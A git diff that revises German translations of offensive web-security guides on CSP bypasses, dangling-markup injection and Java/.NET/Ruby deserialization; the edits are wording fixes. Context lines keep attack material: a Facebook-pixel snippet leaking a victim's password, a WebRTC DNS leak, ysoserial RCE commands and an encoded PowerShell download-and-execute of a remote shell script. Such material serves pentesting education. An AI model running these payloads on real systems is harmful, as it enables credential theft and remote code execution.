+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```xml
```
-### Header
+### Headers
CSP kann mit diesen Headern durchgesetzt oder überwacht werden:
- `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert alle Verstöße.
- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Pre-Production-Umgebungen.
-### Ressourcen definieren
+### Defining Resources
-CSP beschränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
+CSP schränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte ein und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
```bash
default-src 'none';
img-src 'self';
@@ -52,19 +52,19 @@ object-src 'none';
- **object-src**: Definiert erlaubte Quellen für `
- `'sha256-'`: Whitelistet Skripte mit einem spezifischen sha256-Hash.
-- `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash whitelisted wurde.
+- `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash auf die Whitelist gesetzt wurde.
- `'host'`: Gibt einen spezifischen Host an, wie `example.com`.
- `https:`: Beschränkt URLs auf solche, die HTTPS verwenden.
- `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z.B. Blob-URLs, die über JavaScript erstellt wurden).
@@ -163,7 +163,7 @@ Es ist jedoch sehr wahrscheinlich, dass der Server die **hochgeladenen Dateien v
Darüber hinaus, selbst wenn Sie einen **JS-Code in** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wäre das nicht genug, da einige Server wie der Apache-Server den **MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **Javascript**-Code in etwas, das ein Bild sein sollte, **nicht ausführen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache nicht weiß**, was die _**.wave**_ Erweiterung ist, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
-Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
+Von hier aus, wenn Sie eine XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das richtige Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
### Form-action
@@ -176,7 +176,7 @@ Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, be
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
-Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS aus:
+Laden Sie eine verwundbare Version von Angular und führen Sie beliebiges JS aus:
```xml
@@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
"
>
```
-#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([schau dir diesen Beitrag an](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([siehe diesen Beitrag](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
-> Der Beitrag zeigt, dass du **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** kannst, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
+> Der Beitrag zeigt, dass Sie **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** können, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
```markup
@@ -284,7 +284,7 @@ Szenarien wie dieses, in denen `script-src` auf `self` und eine bestimmte, auf d
https://www.youtube.com/oembed?callback=alert;
```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen von CSP auf verschiedenen Websites.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Weiterleitungen vertrauenswürdig sind.
@@ -322,14 +322,14 @@ Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL gefunden werden könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
-Dann führen Sie auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und geben Sie ein benutzerdefiniertes Ereignis wie folgt aus:
+Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und um ein benutzerdefiniertes Ereignis wie dieses auszulösen:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
-Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele andere Möglichkeiten, wie Sie diese missbrauchen können. Siehe den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
+Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, wie Sie diese missbrauchen können. Siehe den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
### Bypass via RPO (Relative Path Overwrite)
@@ -343,7 +343,7 @@ Der Browser wird letztendlich `https://example.com/scripts/angular/angular.js` l
Dies funktioniert, weil der Browser eine Datei mit dem Namen `..%2fangular%2fangular.js` lädt, die sich unter `https://example.com/scripts/react/` befindet, was mit CSP konform ist.
-∑, sie werden es dekodieren und effektiv `https://example.com/scripts/react/../angular/angular.js` anfordern, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.
+∑, sie werden es dekodieren und effektiv `https://example.com/scripts/react/../angular/angular.js` anfordern, was gleichwertig ist mit `https://example.com/scripts/angular/angular.js`.
Durch **Ausnutzung dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden**.
@@ -361,14 +361,14 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) durchzuführen.
-Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `` einzubetten. Beachten Sie, dass dieses **Script** **geladen** wird, da es **von 'self'** **erlaubt** ist. Darüber hinaus, und da WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
+Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `` einzubetten. Beachten Sie, dass dieses **Script** **geladen** wird, da es **von 'self'** **erlaubt** ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft.
-Tatsächlich kann man _Informationen_ mit einer _DNS-Anfrage_ _leaken_. Schau dir diesen Code an:
+Tatsächlich kann man _leak_ Informationen mit einer _DNS-Anfrage_. Schau dir diesen Code an:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
index 09c804f5b..ecd79fa2f 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
@@ -4,13 +4,13 @@ Eine Konfiguration wie:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
-Verhindert die Nutzung von Funktionen, die Code ausführen, der als String übertragen wird. Zum Beispiel: `eval, setTimeout, setInterval` werden aufgrund der Einstellung `unsafe-eval` blockiert.
+Verbot der Nutzung von Funktionen, die Code ausführen, der als Zeichenfolge übertragen wird. Zum Beispiel: `eval, setTimeout, setInterval` werden aufgrund der Einstellung `unsafe-eval` blockiert.
Jeder Inhalt von externen Quellen wird ebenfalls blockiert, einschließlich Bilder, CSS, WebSockets und insbesondere JS.
### Über Text & Bilder
-Es wird beobachtet, dass moderne Browser Bilder und Texte in HTML umwandeln, um deren Anzeige zu verbessern (z. B. Hintergründe festlegen, zentrieren usw.). Folglich wird, wenn eine Bild- oder Textdatei, wie `favicon.ico` oder `robots.txt`, über ein `iframe` geöffnet wird, sie als HTML gerendert. Bemerkenswert ist, dass diese Seiten oft keine CSP-Header haben und möglicherweise keine X-Frame-Options enthalten, was die Ausführung von beliebigem JavaScript von ihnen ermöglicht:
+Es wird beobachtet, dass moderne Browser Bilder und Texte in HTML umwandeln, um deren Anzeige zu verbessern (z. B. Hintergründe festlegen, zentrieren usw.). Folglich, wenn eine Bild- oder Textdatei, wie `favicon.ico` oder `robots.txt`, über ein `iframe` geöffnet wird, wird sie als HTML gerendert. Bemerkenswert ist, dass diese Seiten oft keine CSP-Header haben und möglicherweise keine X-Frame-Options enthalten, was die Ausführung von beliebigem JavaScript von ihnen ermöglicht:
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
index ccbf18bfa..297f6eb09 100644
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@@ -32,7 +32,7 @@ Sie könnten auch **`
test
@@ -59,7 +59,7 @@ Ein Angreifer kann dies nutzen, um Informationen zu stehlen.
Finden Sie ein [**Beispiel für diesen Angriff in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
-### Stehlen von Klartext-Geheimnissen 2
+### Stehlen von Klartextgeheimnissen 2
Mit der zuletzt erwähnten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld einfügen:
```html
@@ -88,21 +88,21 @@ Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass ei
```
### Stehlen von Klartextgeheimnissen über noscript
-`` ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser JavaScript nicht unterstützt (Sie können JavaScript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript) aktivieren/deaktivieren).
+`` ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser JavaScript nicht unterstützt (Sie können JavaScript in Chrome unter [chrome://settings/content/javascript](chrome://settings/content/javascript) aktivieren/deaktivieren).
-Eine Möglichkeit, den Inhalt der Webseite vom Injektionspunkt bis zum Ende auf eine vom Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, dies einzufügen:
+Eine Möglichkeit, den Inhalt der Webseite vom Punkt der Injektion bis zum Ende auf eine von einem Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, dies einzufügen:
```html
```
### Umgehung von CSP mit Benutzerinteraktion
-Aus dieser [portswiggers Forschung](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) können Sie lernen, dass selbst aus den **am stärksten CSP-restriktierten** Umgebungen Sie immer noch **Daten exfiltrieren** können, wenn Sie etwas **Benutzerinteraktion** haben. In diesem Fall werden wir das Payload verwenden:
+Aus dieser [portswiggers Forschung](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) können Sie lernen, dass selbst aus den **am stärksten CSP eingeschränkten** Umgebungen Sie immer noch **Daten exfiltrieren** können, wenn Sie etwas **Benutzerinteraktion** haben. In diesem Fall werden wir das Payload verwenden:
```html
You must click me)
@@ -313,7 +313,7 @@ In den folgenden Seiten finden Sie Informationen darüber, wie Sie diese Bibliot
## Java - HTTP
-In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen, was zu potenziell schädlichen Aktionen führen kann.
+In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen und potenziell schädliche Aktionen ausführen.
### Fingerabdrücke
@@ -322,7 +322,7 @@ In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsproze
Um potenzielle Serialisierungsanfälligkeiten im Code zu identifizieren, suchen Sie nach:
- Klassen, die das `Serializable`-Interface implementieren.
-- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshared`-Funktionen.
+- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshare`-Funktionen.
Achten Sie besonders auf:
@@ -337,12 +337,12 @@ Achten Sie besonders auf:
Für Black-Box-Tests suchen Sie nach spezifischen **Signaturen oder "Magic Bytes"**, die java-serialisierte Objekte kennzeichnen (stammend von `ObjectInputStream`):
-- Hexadezimales Muster: `AC ED 00 05`.
+- Hexadezimalmuster: `AC ED 00 05`.
- Base64-Muster: `rO0`.
- HTTP-Antwortheader mit `Content-type`, der auf `application/x-java-serialized-object` gesetzt ist.
-- Hexadezimales Muster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
+- Hexadezimalmuster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
- Base64-Muster, das auf eine vorherige Kompression hinweist: `H4sIA`.
-- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) beschrieben.
+- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) detailliert beschrieben.
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@@ -377,13 +377,13 @@ Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **
**Serialization Test**
Es geht nicht nur darum zu überprüfen, ob eine verwundbare Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Prüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
-Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Prüfungen zu umgehen.
+Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu modifizieren und einige Prüfungen zu umgehen.
### **Exploit**
#### **ysoserial**
-Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**hier herunterladen**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du könntest auch in Betracht ziehen, [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) zu verwenden, das dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden.\
+Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**hier herunterladen**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du könntest auch in Betracht ziehen, [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) zu verwenden, das es dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden.\
Beachte, dass dieses Tool **fokussiert** ist auf das Ausnutzen von **`ObjectInputStream`**.\
Ich würde **beginnen, die "URLDNS"**-Payload **vor einer RCE**-Payload zu verwenden, um zu testen, ob die Injektion möglich ist. Beachte jedoch, dass die "URLDNS"-Payload möglicherweise nicht funktioniert, aber eine andere RCE-Payload möglicherweise schon.
```bash
@@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
-Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
+Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()", um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs**-Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
```python
@@ -546,11 +546,11 @@ return super.resolveClass(desc);
}
}
```
-**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
+**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Rückfalllösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
```
-javaagent:name-of-agent.jar
```
-Es bietet eine Möglichkeit, die Deserialisierung dynamisch zu sichern, ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.
+Es bietet eine Möglichkeit, die Deserialisierung dynamisch abzusichern, ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.
Überprüfen Sie ein Beispiel in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
@@ -615,7 +615,7 @@ Das bedeutet, dass bei dieser Ausnutzung alle **Clients, die diese Nachricht ver
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
-Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde erstellt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.
+Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde entwickelt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.
### Referenzen
@@ -635,11 +635,11 @@ Der Quellcode sollte auf Vorkommen von:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
-Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.
+Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine Variable unter Benutzerkontrolle zu bestimmen.
#### BlackBox
-Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte, ist aber nicht beschränkt auf, **JSON** oder **XML**-Strukturen mit `TypeObject` oder `$type`.
+Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen, ist aber nicht darauf beschränkt.
### ysoserial.net
@@ -649,14 +649,14 @@ Wenn Sie lernen möchten, **wie ysoserial.net seinen Exploit erstellt**, können
Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**, **`--output`** und **`--plugin`.**
-- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung ausgenutzt wird, um Befehle auszuführen).
-- **`--formatter`**, wird verwendet, um die Methode zur Serialisierung des Exploits anzugeben (Sie müssen wissen, welche Bibliothek im Backend verwendet wird, um die Payload zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
-- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Payload mit **UTF-16LE** (Standardkodierung unter Windows) **codiert**, sodass, wenn Sie die Raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, Sie möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Payload sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
+- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
+- **`--formatter`**, wird verwendet, um die Methode zur Serialisierung des Exploits anzugeben (Sie müssen wissen, welche Bibliothek im Backend verwendet wird, um die Nutzlast zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
+- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Nutzlast mit **UTF-16LE** (Standardkodierung unter Windows) codiert, sodass Sie, wenn Sie die raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
- **`--plugin`** ysoserial.net unterstützt Plugins, um **Exploits für spezifische Frameworks** wie ViewState zu erstellen.
#### Weitere ysoserial.net-Parameter
-- `--minify` bietet eine **kleinere Payload** (wenn möglich)
+- `--minify` liefert eine **kleinere Nutzlast** (wenn möglich)
- `--raf -f Json.Net -c "anything"` Dies gibt an, welche Gadgets mit einem angegebenen Formatter (`Json.Net` in diesem Fall) verwendet werden können.
- `--sf xml` Sie können **ein Gadget** (`-g`) angeben, und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht großgeschrieben).
@@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** hat auch einen **sehr interessanten Parameter**, der hilft, besser zu verstehen, wie jeder Exploit funktioniert: `--test`\
-Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen**, sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
+Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen,** sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
Dieser Parameter ist hilfreich, weil Sie, wenn Sie den Code überprüfen, Codeabschnitte wie den folgenden finden werden (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@@ -721,7 +721,7 @@ Um die Risiken im Zusammenhang mit der Deserialisierung in .Net zu mindern:
- **Vermeiden Sie die Verwendung von `JavaScriptSerializer` mit einem `JavaScriptTypeResolver`.**
- **Begrenzen Sie die Typen, die deserialisiert werden können**, und verstehen Sie die inhärenten Risiken mit .Net-Typen, wie `System.IO.FileInfo`, die die Eigenschaften von Serverdateien ändern können, was potenziell zu Denial-of-Service-Angriffen führen kann.
- **Seien Sie vorsichtig mit Typen, die riskante Eigenschaften haben**, wie `System.ComponentModel.DataAnnotations.ValidationException` mit seiner `Value`-Eigenschaft, die ausgenutzt werden kann.
-- **Steuern Sie die Typinstanziierung sicher**, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, wodurch selbst `DataContractSerializer` oder `XmlSerializer` anfällig werden.
+- **Kontrollieren Sie die Typinstanziierung sicher**, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, wodurch selbst `DataContractSerializer` oder `XmlSerializer` anfällig werden.
- **Implementieren Sie Whitelist-Kontrollen** mit einem benutzerdefinierten `SerializationBinder` für `BinaryFormatter` und `JSON.Net`.
- **Bleiben Sie informiert über bekannte unsichere Deserialisierungs-Gadgets** innerhalb von .Net und stellen Sie sicher, dass Deserialisierer solche Typen nicht instanziieren.
- **Isolieren Sie potenziell riskanten Code** von Code mit Internetzugang, um zu vermeiden, dass bekannte Gadgets, wie `System.Windows.Data.ObjectDataProvider` in WPF-Anwendungen, untrusted Datenquellen ausgesetzt werden.
@@ -744,7 +744,7 @@ Zur Sicherung serialisierter Objekte verwendet **Ruby HMAC (Hash-Based Message A
- `config/secrets.yml`
- `/proc/self/environ`
-**Ruby 2.X generische Deserialisierung zu RCE-Gadget-Kette (mehr Informationen in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
+**Ruby 2.X generische Deserialisierung zu RCE Gadget-Kette (mehr Informationen in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@@ -888,7 +888,7 @@ puts json_payload
